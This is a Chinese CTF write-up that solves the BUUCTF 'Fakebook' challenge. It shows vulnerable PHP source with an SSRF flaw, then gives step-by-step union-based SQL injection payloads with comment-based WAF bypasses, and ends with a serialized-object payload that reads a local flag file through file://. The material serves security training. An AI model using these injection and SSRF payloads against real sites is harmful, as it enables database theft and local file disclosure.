zoukankan      html  css  js  c++  java
  • BUUCTF-[网鼎杯 2018]Fakebook(SSRF+联合注入绕Waf)

    记一道SSRF配合SQL注入的题。
    喜欢在做题之前扫一下网站的目录,扫到了robots.txt文件可以访问,拿到user.php.bak的源码。同时还有flag.php。

    <?php
    class UserInfo
    {
        public $name = "";
        public $age = 0;
        public $blog = "";
    
        public function __construct($name, $age, $blog)
        {
            $this->name = $name;
            $this->age = (int)$age;
            $this->blog = $blog;
        }
    
        function get($url)
        {
            $ch = curl_init();       //初始化一个curl会话
    
            curl_setopt($ch, CURLOPT_URL, $url);  //设置需要抓取的URL
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上
            $output = curl_exec($ch);                         //运行cURL,请求网页
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);   
            if($httpCode == 404) {
                return 404;
            }
            curl_close($ch);   //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄
    
            return $output;
        }
    
        public function getBlogContents ()
        {
            return $this->get($this->blog);
        }
    
        public function isValidBlog ()
        {
            $blog = $this->blog;
            return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
        }
    
    }
    

    看大师傅的文章才知道这里在get()函数存在SSRF(服务端请求伪造)漏洞。
    再看,网站有两个功能,一个login一个join。注册登录进去看到url里面有view.php?no=4 。对这个比较敏感。感觉存在sql注入。

    ?no=1 order by 5--+  //报错,存在4列
    ?no=1 union select 1,2,3,4--+  //提示no hack ~_~,应该是存在Waf。
    

    简单的测试了下应该是过滤了空格,用注释绕过。

    ?no=-1/**/union/**/select/**/1,2,3,4--+
    

    在报错里面出现了unserialize()函数,在上面拿到的代码里面有__construct,后面应该跟序列化有关

    下面暴数据。

    ?no=-1/**/union/**/select/**/1,database(),3,4--+
    

    ?no=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where table_schema=database()),3,4--+
    

    ?no=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where table_name='users'),3,4--+
    

    ?no=-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+
    


    在data字段拿到了一串序列化的字符

    O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:33:"https://www.cnblogs.com/HelloCTF/";}
    

    再看一开始的这张图,好像是要把我们给的链接的内容打印出来。

    那么我们可以将这个链接也序列化file:///var/www/html/flag.php,然后能把flag.php的读取出来。
    序列化

    <?php
    class UserInfo
    {
        public $name = "1";
        public $age = 1;
        public $blog = "file:///var/www/html/flag.php";
    
        public function __construct($name, $age, $blog)
        {
            $this->name = $name;
            $this->age = (int)$age;
            $this->blog = $blog;
        }
    }
    $a = new UserInfo('1',1,'file:///var/www/html/flag.php');
    $a = serialize($a);
    echo $a;
    //结果:O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
    

    这里因为data是第四个字段,所以序列化后的字符串所以放在4号位上
    payload

    ?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
    

    flag在页面的源代码里,base64解码

  • 相关阅读:
    Using PL/SQL Control Structures
    Oracle JDBC
    PL/SQL 命名规则
    PL/SQL User's Guide and Reference:PL/SQL Architecture
    JAVA中调用存储过程和函数
    Oracle正则表达式
    java根据网卡名称获取IP
    开放通知接口,执行文件同步操作
    Jquery UI Dialog Demo
    esapi2.0GA.jar的license
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/13174058.html
Copyright © 2011-2022 走看看